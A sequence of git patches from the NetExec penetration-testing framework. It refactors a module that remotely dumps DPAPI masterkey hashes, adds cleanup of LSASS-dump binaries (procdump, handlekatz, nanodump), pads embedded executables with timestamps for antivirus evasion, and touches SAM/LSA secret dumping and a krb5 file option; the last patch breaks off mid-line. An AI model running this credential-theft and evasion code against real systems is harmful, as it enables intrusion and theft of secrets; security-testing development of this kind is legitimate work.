@@ -41,7 +41,7 @@ argcomplete = "^3.1.4" asyauth = ">=0.0.20" beautifulsoup4 = ">=4.11,<5" bloodhound = "^1.8.0" -dploot = "^3.0.3" +dploot = "^3.1.0" dsinternals = "^1.2.4" impacket = { git = "https://github.com/fortra/impacket.git" } jwt = ">=1.3.1" From 66500bf2dbe08fa19da97e1cda937795e9e3da27 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 14 Jan 2025 16:23:00 +0100 Subject: [PATCH 214/376] update with latest dploot changes --- nxc/modules/dpapi_hash.py | 308 +++++--------------------------------- 1 file changed, 41 insertions(+), 267 deletions(-) diff --git a/nxc/modules/dpapi_hash.py b/nxc/modules/dpapi_hash.py index 8679b083..03c89916 100644 --- a/nxc/modules/dpapi_hash.py +++ b/nxc/modules/dpapi_hash.py @@ -1,191 +1,10 @@ -import ntpath from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection -import struct -import binascii -import array +from dploot.triage.masterkeys import MasterkeysTriage + +from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection # Based on dpapimk2john, original work by @fist0urs - -class Eater: - def __init__(self, raw, offset=0, end=None, endianness="<"): - self.raw = raw - self.ofs = offset - self.end = len(raw) if end is None else end - self.endianness = endianness - - def prepare_fmt(self, fmt): - if fmt[0] not in ("<", ">", "!", "@"): - fmt = self.endianness + fmt - return fmt, struct.calcsize(fmt) - - def read(self, fmt): - fmt, sz = self.prepare_fmt(fmt) - v = struct.unpack_from(fmt, self.raw, self.ofs) - return v[0] if len(v) == 1 else v - - def eat(self, fmt): - fmt, sz = self.prepare_fmt(fmt) - v = struct.unpack_from(fmt, self.raw, self.ofs) - self.ofs += sz - return v[0] if len(v) == 1 else v - - def eat_string(self, length): - return self.eat(f"{length}s") - - def remain(self): - return self.raw[self.ofs:self.end] - - def eat_sub(self, length): - sub = Eater(self.raw[self.ofs:self.ofs + length], endianness=self.endianness) - self.ofs += length - return sub - - -class DPAPIBlob: - def __init__(self, raw=None): - # Initialization code - pass - - @staticmethod - def hexstr(bytestr): - return binascii.hexlify(bytestr).decode("ascii") - - -class CryptoAlgo: - class Algo: - def __init__(self, data): - self.__dict__.update(data) - - _crypto_data = {} - - @classmethod - def add_algo(cls, algnum, **kargs): - cls._crypto_data[algnum] = cls.Algo(kargs) - if "name" in kargs: - kargs["ID"] = algnum - cls._crypto_data[kargs["name"]] = cls.Algo(kargs) - - @classmethod - def get_algo(cls, algnum): - return cls._crypto_data.get(algnum) - - def __init__(self, algnum): - self.algnum = algnum - self.algo = CryptoAlgo.get_algo(algnum) - if not self.algo: - raise ValueError(f"Algorithm number {algnum} not found in crypto data") - - name = property(lambda self: self.algo.name) - keyLength = property(lambda self: self.algo.keyLength // 8) - ivLength = property(lambda self: self.algo.IVLength // 8) - blockSize = property(lambda self: self.algo.blockLength // 8) - digestLength = property(lambda self: self.algo.digestLength // 8) - - def __repr__(self): - return f"{self.algo.name} [{self.algnum:#x}]" - - -def des_set_odd_parity(key): - _lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254] - tmp = array.array("B") - tmp.fromstring(key) - for i, v in enumerate(tmp): - tmp[i] = _lut[v] - return tmp.tostring() - - -CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, IVLength=64, blockLength=64, keyFixup=des_set_odd_parity) -CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, IVLength=64, blockLength=64, keyFixup=des_set_odd_parity) -CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, IVLength=128, blockLength=128) -CryptoAlgo.add_algo(0x660E, name="AES-128", keyLength=128, IVLength=128, blockLength=128) -CryptoAlgo.add_algo(0x660F, name="AES-192", keyLength=192, IVLength=128, blockLength=128) -CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, IVLength=128, blockLength=128) -CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512) -CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512) -CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512) -CryptoAlgo.add_algo(0x800C, name="sha256", digestLength=256, blockLength=512) -CryptoAlgo.add_algo(0x800D, name="sha384", digestLength=384, blockLength=1024) -CryptoAlgo.add_algo(0x800E, name="sha512", digestLength=512, blockLength=1024) - - -def display_masterkey(Preferred): - GUID1 = Preferred.read(8) - GUID2 = Preferred.read(8) - GUID = struct.unpack("HLH", GUID2) - return f"{GUID[0]:08x}-{GUID[1]:04x}-{GUID[2]:04x}-{GUID2[0]:04x}-{GUID2[1]:08x}{GUID2[2]:04x}" - - -class MasterKey: - def __init__(self, raw=None, SID=None, context=None): - self.decrypted = self.key = self.key_hash = None - self.hmacSalt = self.hmac = self.hmacComputed = None - self.cipherAlgo = self.hashAlgo = self.rounds = None - self.iv = self.version = self.ciphertext = None - self.SID = SID - self.context = context - self.parse(raw) - - def parse(self, data): - eater = Eater(data) - self.version = eater.eat("L") - self.iv = eater.eat("16s") - self.rounds = eater.eat("L") - self.hashAlgo = CryptoAlgo(eater.eat("L")) - self.cipherAlgo = CryptoAlgo(eater.eat("L")) - self.ciphertext = eater.remain() - - def jhash(self, user, ctx): - version, hmac_algo, cipher_algo = -1, None, None - if "des3" in str(self.cipherAlgo).lower() and "hmac" in str(self.hashAlgo).lower(): - version, hmac_algo, cipher_algo = 1, "sha1", "des3" - elif "aes-256" in str(self.cipherAlgo).lower() and "sha512" in str(self.hashAlgo).lower(): - version, hmac_algo, cipher_algo = 2, "sha512", "aes256" - else: - return f"Unsupported combination of cipher '{self.cipherAlgo}' and hash algorithm '{self.hashAlgo}' found!" - context = 0 - if self.context == "domain": - context = 2 - s = f"{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}" - ctx.log.highlight(f"Context2: {s}") - context = 3 - s = f"\n{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}" - ctx.log.highlight(f"Context3: {s}") - else: - context = {"local": 1, "domain1607-": 2, "domain1607+": 3}.get(self.context, 0) - s = f"{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}" - return s - - -class MasterKeyFile: - def __init__(self, raw=None, SID=None, context=None): - self.masterkey = self.backupkey = self.credhist = self.domainkey = None - self.decrypted = False - self.version = self.guid = self.policy = None - self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0 - self.SID = SID - self.context = context - self.parse(raw) - - def parse(self, data): - eater = Eater(data) - self.version = eater.eat("L") - eater.eat("2L") - self.guid = eater.eat("72s").decode("UTF-16LE").encode("utf-8") - eater.eat("2L") - self.policy = eater.eat("L") - self.masterkeyLen = eater.eat("Q") - self.backupkeyLen = eater.eat("Q") - self.credhistLen = eater.eat("Q") - self.domainkeyLen = eater.eat("Q") - if self.masterkeyLen > 0: - self.masterkey = MasterKey(eater.eat_sub(self.masterkeyLen).remain(), SID=self.SID, context=self.context) - if self.backupkeyLen > 0: - self.backupkey = MasterKey(eater.eat_sub(self.backupkeyLen).remain(), SID=self.SID, context=self.context) - - class NXCModule: name = "dpapi_hash" description = "Remotely dump Dpapi hash based on masterkeys" @@ -193,97 +12,52 @@ class NXCModule: opsec_safe = True multiple_hosts = True - def __init__(self, context=None, module_options=None): - self.false_positive = ( - ".", - "..", - "desktop.ini", - "Public", - "Default", - "Default User", - "All Users", - ) - self.user_directories = "\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Protect" - - def get_users(self, conn): - users = [] - - users_dir_path = "Users\\*" - directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) - - for d in directories: - if d.get_longname() not in self.false_positive and d.is_directory() > 0: - users.append(d.get_longname()) # noqa: PERF401, ignoring for readability - return users + def options(self, context, module_options): + """OUTPUTFILE Output file to write hashes""" + self.outputfile = None + if "OUTPUTFILE" in module_options: + self.outputfile = module_options["OUTPUTFILE"] def on_admin_login(self, context, connection): - self.context = context - self.connection = connection - self.share = connection.args.share - - host = f"{connection.hostname}.{connection.domain}" - domain = connection.domain username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") target = Target.create( - domain=domain, + domain=connection.domain, username=username, password=password, - target=host, - lmhash=lmhash, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - use_kcache=use_kcache, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, + no_pass=True, + use_kcache=getattr(connection, "use_kcache", False), ) - - conn = self.upgrade_connection(target=target, connection=connection.conn) - # get users list - users = self.get_users(conn) - context.log.debug("Gathering DPAPI Hashes") - - # search user directory to retrieve the prefered protected Masterkey - for user in users: - directory_path = self.user_directories.format(username=user) - directorylist = conn.remote_list_dir(self.context.share, directory_path) - try: - for item in directorylist: - if item.get_longname().startswith("S-"): - sid = item.get_longname() - print(f"on est quand même là {item}") - context.log.debug(f"Found user SID: {sid}") - mkfolder = ntpath.join(directory_path, item.get_longname()) - mkfoldercontent = conn.remote_list_dir(self.context.share, mkfolder) - for mk in mkfoldercontent: - if mk.get_longname() == "Preferred": - preferredfile = ntpath.join(directory_path, mkfolder, mk.get_longname()) - Preferredcontent = conn.readFile(self.context.share, preferredfile) - GUID1, GUID2 = Preferredcontent[:8], Preferredcontent[8:16] - GUID = struct.unpack("HLH", GUID2) - masterkey = f"{GUID[0]:08x}-{GUID[1]:04x}-{GUID[2]:04x}-{GUID2[0]:04x}-{GUID2[1]:08x}{GUID2[2]:04x}" - masterkeypath = ntpath.join(directory_path, mkfolder, masterkey) - masterkeycontent = conn.readFile(self.context.share, masterkeypath) - masterkeyfile_obj = MasterKeyFile(masterkeycontent, SID=sid, context="domain") - if masterkeyfile_obj.masterkey: - masterkeyfile_obj.masterkey.jhash(user, context) - except Exception as e: - context.log.debug(f"{e}") - continue - - def upgrade_connection(self, target: Target, connection=None): - conn = DPLootSMBConnection(target) - if connection is not None: - conn.smb_session = connection - else: - conn.connect() - return conn - - def options(self, context, module_options): - """ """ \ No newline at end of file + + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") + return + + try: + context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") + masterkeys_triage = MasterkeysTriage( + target=target, + conn=conn, + ) + context.log.debug(f"Masterkeys Triage: {masterkeys_triage}") + context.log.debug("Collecting user masterkeys") + masterkeys_triage.triage_masterkeys() + if self.outputfile is not None: + with open(self.outputfile, "a+") as fd: + for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash() ]: + context.log.highlight(mkhash) + fd.write(f"{mkhash}\n") + else: + for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash() ]: + context.log.highlight(mkhash) + + except Exception as e: + context.log.debug(f"Could not get masterkeys: {e}") \ No newline at end of file From bf6fd5e91fad5d5016bb1665d8fdbf46843b47c4 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 14 Jan 2025 16:26:44 +0100 Subject: [PATCH 215/376] update e2e --- tests/e2e_commands.txt | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 728e93ef..a1f4b1a5 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -65,6 +65,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-comp netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash -o OUTPUTFILE=hashes.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener From 9b1455f77a8daffe5cbd578de04e03c5dab86206 Mon Sep 17 00:00:00 2001 From: termanix Date: Wed, 15 Jan 2025 05:56:50 -0500 Subject: [PATCH 216/376] Updated exe files processsing for evasion --- nxc/modules/impersonate.py | 9 ++++++++- nxc/modules/pi.py | 8 +++++++- 2 files changed, 15 insertions(+), 2 deletions(-) diff --git a/nxc/modules/impersonate.py b/nxc/modules/impersonate.py index 210a8225..09069f11 100644 --- a/nxc/modules/impersonate.py +++ b/nxc/modules/impersonate.py @@ -6,7 +6,7 @@ from base64 import b64decode from os import path import sys - +from datetime import datetime from nxc.paths import DATA_PATH @@ -29,8 +29,15 @@ class NXCModule: self.impersonate = "Impersonate.exe" self.useembeded = True self.token = self.cmd = "" + current_time = datetime.now() + time_string = current_time.strftime("%Y%m%d%H%M%S") + with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file: self.impersonate_embedded = b64decode(impersonate_file.read()) + + padding = time_string.encode() + self.impersonate_embedded = self.impersonate_embedded + padding + if "EXEC" in module_options: self.cmd = module_options["EXEC"] diff --git a/nxc/modules/pi.py b/nxc/modules/pi.py index 521dd429..e58e3c10 100644 --- a/nxc/modules/pi.py +++ b/nxc/modules/pi.py @@ -1,7 +1,7 @@ from base64 import b64decode from sys import exit from os.path import abspath, join, isfile - +from datetime import datetime from nxc.paths import DATA_PATH, TMP_PATH @@ -25,9 +25,15 @@ class NXCModule: self.pi = "pi.exe" self.useembeded = True self.pid = self.cmd = "" + current_time = datetime.now() + time_string = current_time.strftime("%Y%m%d%H%M%S") + with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file: self.pi_embedded = b64decode(pi_file.read()) + padding = time_string.encode() + self.pi_embedded = self.pi_embedded + padding + if "EXEC" in module_options: self.cmd = module_options["EXEC"] From 675975e614f522b4a0b97979fc92ffeede6aae12 Mon Sep 17 00:00:00 2001 From: termanix Date: Thu, 16 Jan 2025 04:46:43 -0500 Subject: [PATCH 217/376] Fix procdump deleting when lsass dump fail --- nxc/modules/procdump.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/nxc/modules/procdump.py b/nxc/modules/procdump.py index 6432481b..a5a8902a 100644 --- a/nxc/modules/procdump.py +++ b/nxc/modules/procdump.py @@ -152,3 +152,10 @@ class NXCModule: add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: context.log.fail("Error openning dump file", str(e)) + + else: + try: + connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) + context.log.success(f"Deleted procdump file on the {self.share} share") + except Exception as e: + context.log.fail(f"Error deleting procdump file on share {self.share}: {e}") \ No newline at end of file From fdb1a7993a50fc8e6b7e6f806b54ead01a8f9a0f Mon Sep 17 00:00:00 2001 From: termanix Date: Thu, 16 Jan 2025 05:12:46 -0500 Subject: [PATCH 218/376] Fix lsass dump files deleting process when dump fail --- nxc/modules/handlekatz.py | 17 ++++++++++++----- nxc/modules/nanodump.py | 3 +++ 2 files changed, 15 insertions(+), 5 deletions(-) diff --git a/nxc/modules/handlekatz.py b/nxc/modules/handlekatz.py index 7aa7ab7c..af18005f 100644 --- a/nxc/modules/handlekatz.py +++ b/nxc/modules/handlekatz.py @@ -78,6 +78,7 @@ class NXCModule: if not p or p == "None": context.log.fail("Failed to execute command to get LSASS PID") + self.delete_handlekatz_binary(connection, context) return # we get a CSV string back from `tasklist`, so we grab the PID from it pid = p.split(",")[1][1:-1] @@ -113,11 +114,7 @@ class NXCModule: except Exception as e: context.log.fail(f"Error while get file: {e}") - try: - connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz) - context.log.success(f"Deleted handlekatz file on the {self.share} share") - except Exception as e: - context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}") + self.delete_handlekatz_binary() try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) @@ -182,3 +179,13 @@ class NXCModule: add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: context.log.fail(f"Error opening dump file: {e}") + + else: + self.delete_handlekatz_binary(connection, context) + + def delete_handlekatz_binary(self, connection, context): + try: + connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz) + context.log.success(f"Deleted handlekatz file on the {self.share} share") + except Exception as e: + context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}") diff --git a/nxc/modules/nanodump.py b/nxc/modules/nanodump.py index 5dc1ec2d..71a86144 100644 --- a/nxc/modules/nanodump.py +++ b/nxc/modules/nanodump.py @@ -252,6 +252,9 @@ class NXCModule: except Exception as e: self.context.log.fail(f"Error opening dump file: {e}") + else: + self.delete_nanodump_binary() + def delete_nanodump_binary(self): try: self.connection.execute(f"del {self.remote_tmp_dir + self.nano}") From dd6c62e8c23454046fa397e5155614ede72dd3bb Mon Sep 17 00:00:00 2001 From: termanix Date: Thu, 16 Jan 2025 05:18:39 -0500 Subject: [PATCH 219/376] Delete funciton created with same as nanodump and handlekatz --- nxc/modules/procdump.py | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/nxc/modules/procdump.py b/nxc/modules/procdump.py index a5a8902a..c53a0ae6 100644 --- a/nxc/modules/procdump.py +++ b/nxc/modules/procdump.py @@ -98,11 +98,7 @@ class NXCModule: except Exception as e: context.log.fail(f"Error while get file: {e}") - try: - connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) - context.log.success(f"Deleted procdump file on the {self.share} share") - except Exception as e: - context.log.fail(f"Error deleting procdump file on share {self.share}: {e}") + self.delete_procdump_binary(connection, context) try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) @@ -154,8 +150,11 @@ class NXCModule: context.log.fail("Error openning dump file", str(e)) else: - try: - connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) - context.log.success(f"Deleted procdump file on the {self.share} share") - except Exception as e: - context.log.fail(f"Error deleting procdump file on share {self.share}: {e}") \ No newline at end of file + self.delete_procdump_binary(connection, context) + + def delete_procdump_binary(self, connection, context): + try: + connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) + context.log.success(f"Deleted procdump file on the {self.share} share") + except Exception as e: + context.log.fail(f"Error deleting procdump file on share {self.share}: {e}") \ No newline at end of file From da3ad306e8bc140573192e9e13adcd2ca7f3eacf Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sat, 18 Jan 2025 14:15:23 +0100 Subject: [PATCH 220/376] fix review --- nxc/modules/backup_operator.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 0eb777f5..9423c1ab 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -70,12 +70,12 @@ class NXCModule: self.domain_admin_hash = fields[3] local_operations = LocalOperations(log_path + "SYSTEM") - bootKey = local_operations.getBootKey() - sam_hashes = SAMHashes(log_path + "SAM", bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) + boot_key = local_operations.getBootKey() + sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) sam_hashes.dump() sam_hashes.finish() - LSA = LSASecrets(log_path + "SECURITY", bootKey, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: @@ -99,15 +99,15 @@ class NXCModule: except SessionError as e: if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: context.log.fail(f"Fail to remove the file { hive }...") - self.suprress_error(context) + self.suppress_error(context) sys.exit() context.log.display("Successfully deleted dump files !") else: - self.suprress_error(context) + self.suppress_error(context) else: - self.suprress_error(context) + self.suppress_error(context) - def suprress_error(self, context): + def suppress_error(self, context): context.log.display("Use the domain admin account to clean the file on the remote host") context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") From 8d9b7eede37c7897d617a77aada36448733096a3 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 18 Jan 2025 18:36:57 +0100 Subject: [PATCH 221/376] fix ruff --- nxc/modules/dpapi_hash.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/dpapi_hash.py b/nxc/modules/dpapi_hash.py index 03c89916..070121f6 100644 --- a/nxc/modules/dpapi_hash.py +++ b/nxc/modules/dpapi_hash.py @@ -52,11 +52,11 @@ class NXCModule: masterkeys_triage.triage_masterkeys() if self.outputfile is not None: with open(self.outputfile, "a+") as fd: - for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash() ]: + for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]: context.log.highlight(mkhash) fd.write(f"{mkhash}\n") else: - for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash() ]: + for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]: context.log.highlight(mkhash) except Exception as e: From e10756a97328d8447f0b91d1969c261ce78ed230 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sat, 18 Jan 2025 19:28:19 +0100 Subject: [PATCH 222/376] add krb5 conf file option for smb --- nxc/protocols/smb.py | 30 ++++++++++++++++++++++++++---- nxc/protocols/smb/proto_args.py | 1 + 2 files changed, 27 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 924d72db..59b13dce 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -318,7 +318,7 @@ class smb(connection): smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})") - if self.args.generate_hosts_file: + if self.args.generate_hosts_file or self.args.generate_krb5_file: from impacket.dcerpc.v5 import nrpc, epm self.logger.debug("Performing authentication attempts...") isdc = False @@ -328,9 +328,31 @@ class smb(connection): except DCERPCException: self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!") - with open(self.args.generate_hosts_file, "a+") as host_file: - host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}\n") - self.logger.debug(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}") + if self.args.generate_hosts_file: + with open(self.args.generate_hosts_file, "a+") as host_file: + host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}\n") + self.logger.debug(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}") + elif self.args.generate_krb5_file and isdc: + with open(self.args.generate_krb5_file, "w+") as host_file: + data = f""" +[libdefaults] + dns_lookup_kdc = false + dns_lookup_realm = false + default_realm = { self.domain.upper() } + +[realms] + { self.domain.upper() } = {{ + kdc = { self.hostname.lower() }.{ self.domain } + admin_server = { self.hostname.lower() }.{ self.domain } + default_domain = { self.domain } + }} + +[domain_realm] + .{ self.domain } = { self.domain.upper() } + { self.domain } = { self.domain.upper() } +""" + host_file.write(data) + self.logger.debug(data) return self.host, self.hostname, self.targetDomain diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 52078a30..8ce85dc8 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -21,6 +21,7 @@ def proto_args(parser, parents): smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2) smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP") + smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP") self_delegate_arg.make_required = [delegate_arg] cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") From 29d94f9baab005f5a4607ad83495ab581d1c9a0f Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sat, 18 Jan 2025 19:31:37 +0100 Subject: [PATCH 223/376] add test --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 728e93ef..932b8a30 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -2,6 +2,7 @@ netexec -h ##### SMB netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile +netexec smb TARGET_HOST --generate-krb5-file /tmp/krb5conf netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares From 80f528c160d79add5068afdc91b24b71a38b4825 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 22 Jan 2025 07:33:19 -0500 Subject: [PATCH 224/376] Swap cert-pem to pem-cert to match pfx syntax --- nxc/cli.py | 4 ++-- nxc/connection.py | 2 +- nxc/helpers/pfx.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/nxc/cli.py b/nxc/cli.py index a8a818f5..582dc453 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -103,8 +103,8 @@ def gen_cli_args(): certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx") certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64") certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate") - certificate_group.add_argument("--cert-pem", metavar="CERTPEM", help="Use certificate authentication from PEM file") - certificate_group.add_argument("--key-pem", metavar="KEYPEM", help="Private key for the PEM format") + certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file") + certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format") server_group = std_parser.add_argument_group("Servers", "Options for nxc servers") server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server") diff --git a/nxc/connection.py b/nxc/connection.py index 3beb84fd..3c9b0843 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -550,7 +550,7 @@ class connection: self.logger.info("Successfully authenticated using Kerberos cache") return True - if self.args.pfx_cert or self.args.pfx_base64 or self.args.cert_pem: + if 